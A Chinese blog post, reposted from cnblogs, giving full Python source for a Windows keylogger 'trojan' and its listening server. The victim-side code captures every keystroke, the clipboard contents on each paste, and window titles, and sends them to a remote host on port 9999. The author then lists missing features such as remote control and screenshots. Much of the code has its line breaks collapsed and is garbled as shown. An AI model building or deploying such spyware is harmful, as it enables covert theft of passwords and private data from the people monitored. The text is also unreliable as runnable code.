参考链接:

Python编写简易木马程序

参考这个博客来写的

一些具体的问题:

1.配置pyHook模块、ctypes模块,需要这两个木块才能运行成功。

2.将三个模块结合起来要分清client为发送方server为接收方。

结合起来:发送方(被监控者)

# -*- coding:gb2312 -*-from ctypes import*
import pythoncom
import pyHook
import win32clipboard
import socket
import threadingdef send(message):#目标地址ip/URL及端口target_host = "***.***.***.***"target_port = 9999#创建一个socket对象client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#连接主机
    client.connect((target_host,target_port))#发送数据client.send("GET/HTTP/1.1\r\n"+message+"\r\n\r\n")#接受响应response = client.recv(4096)#--------------------------------------------------
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Nonedef get_current_process():#获取最上层的窗口句柄hwnd = user32.GetForegroundWindow()#获取进程IDpid = c_ulong(0)user32.GetWindowThreadProcessId(hwnd,byref(pid))#将进程ID存入变量process_id = "%d"%pid.value#申请内存executable = create_string_buffer("\x00"*512)h_process = kernel32.OpenProcess(0x400|0x10,False,pid)psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)#读取窗口标题windows_title = create_string_buffer("\x00"*512)length = user32.GetWindowTextA(hwnd,byref(windows_title),512)#发送message = process_id+"    "+executable.value+"    "+windows_title.valuesend(message)#关闭handows
    kernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)#定义击键监听事件函数
def KeyStroke(event):global current_window#检测目标窗口是否发生转移(换了其他窗口就监听其他窗口)if event.WindowName != current_window:#函数调用
        get_current_process()#检查击键是否为常规按键(非组合键)并发送if event.Ascii >32 and event.Ascii < 127:message = chr(event.Ascii)send(message)else:#如果发现Ctrl+v事件,酒吧粘贴板内容发送if event.Key == "V":win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()message = pasted_valuesend(message)else:send(event.Key)#监听下一个击键事件return True
#创建并注册hook管理器

kl = pyHook.HookManager()
kl.KeyDown = KeyStroke#注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()

接收方:

# -*- coding:gb2312 -*-
import socket
import threading#监听的ip及端口
bind_ip = "127.0.0.1"
bind_port = 9999server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)server.bind((bind_ip,bind_port))server.listen(5)print"[*]Listening on %s:%d"%(bind_ip,bind_port)def handle_client(client_socket):request = client_socket.recv(1024)print"[*]Received:%s"%requestclient_socket.send("ok!")client_socket.close()while True:client,addr = server.accept()print"[*]Accept connection from:%s:%d"%(addr[0],addr[1])client_handler = threading.Thread(target=handle_client,args=(client,))client_handler.start()

就是把三个模块结合,把发送的数据改为记录即可。

未解决问题:

1.哎,没什么用,虽然能实现功能,但是一般的杀毒软件都能检测到程序在监控键盘输入,就当练习玩吧。

2.功能不够完善,没有远程控制功能,把他扔出去就只能接受信息了。

3.未完善鼠标监听和截图功能。

转载于:https://www.cnblogs.com/cxy2016/p/6686202.html

python简易木马(一)相关推荐

  1. Python编写简易木马程序

    0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Sublime text2 +JEDI(python自动补全 ...

  2. python编写木马攻击_Python编写简易木马程序

    Python编写简易木马程序 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Sublime text2 + ...

  3. 用python做一个木马_Python编写简易木马程序

    light · 2015/01/26 10:07 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Subli ...

  4. 如何使用Python编写简易木马程序

    这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Sublime text2 +JEDI(python自动补全插件)来撸代码. 首先 准备好我们需要的依赖库,pytho ...

  5. 使用Python开发木马程序

    使用Python开发木马程序 一.实验介绍 1.1 实验内容 木马程序会给普通用户带来很多危害,比如盗取QQ账号,游戏账号等.课程将用Python实现一个简易的木马程序,该程序会记录用户的键盘输入和屏 ...

  6. python 简易HTTP服务器搭建

    安装Python简易HTTP服务器 大多数Linux/Unix/mac OS操作系统都已默认安装,直接运行以下命令即可,其中"8008"为指定的端口号:如果没有安装python,可 ...

  7. python局域网大文件_[源码]Python简易http服务器(内网渗透大文件传输含下载命令)...

    Python简易http服务器源码 import SimpleHTTPServer import SocketServer import sys PORT = 80 if len(sys.argv) ...

  8. mayapython开关_Maya Python 简易教程.doc

    您所在位置:网站首页 > 海量文档 &nbsp>&nbsp计算机&nbsp>&nbspPython Maya Python 简易教程.doc25页 本 ...

  9. Python 简易实现 quoted-printable 编码

    参考链接: 网络管理员在线工具 python模块之quopri: quoted-printable编解码 以下有关内容基于 Python 3: Python 简易实现 quoted-printable ...

最新文章

  1. Go在区块链的发展和演进
  2. Java 第27章 JDBC
  3. 基于struts2的登录系统
  4. Qt Creator测验Testing
  5. [C++ STL] 各容器简单介绍
  6. 调试实战 —— dll 加载失败之全局变量初始化篇
  7. 出现$ref的原因及解决方案
  8. 的mvc_简述PHP网站开发的MVC模式
  9. python爬取10个网站_十个Python爬虫武器库示例,十个爬虫框架,十种实现爬虫的方法!...
  10. 一年级学情分析计算机,小学一年级语文学情分析范文
  11. iOS12系统图片heic如何在电脑上查看
  12. android黑屏日志_Android启动页黑屏的解决方案
  13. Linux之ioctl20160705
  14. java jdk动态代理 cglib动态代理demo
  15. 设置Easyui datagrid的pageNumber导致两次请求的解决方案
  16. 读书笔记(2018年3月)-《卓有成效的管理者》总结
  17. MATLAB读取图片时报错:“错误使用 fopen 找不到文件,确保文件存在且路径” 的原因及解决方法
  18. OpenCV+Python 彩色图片的 BGR、灰度图、HSV分量图显示的程序
  19. 安卓如何查找应用的安装包目录?
  20. html css超链接字体颜色,HTML-CSS设置超链接颜色字体

热门文章

  1. eclipse安装SVN插件报错Unable to connect
  2. 数据段描述符和代码段描述符(一)——《x86汇编语言:从实模式到保护模式》读书笔记10
  3. python中的 and以及or
  4. 操作系统(二十一)信号量机制
  5. 【动态规划】分组背包
  6. 从并发视角来看智能合约(上)【渡鸦论文系列】
  7. GAN在Image To Image translation 和Inverse Problem中的应用
  8. Android代码入侵原理解析(一)
  9. Blind Return Oriented Programming (BROP) Attack - 攻击原理
  10. spring boot使用freemarker页面获取系统路径最简配置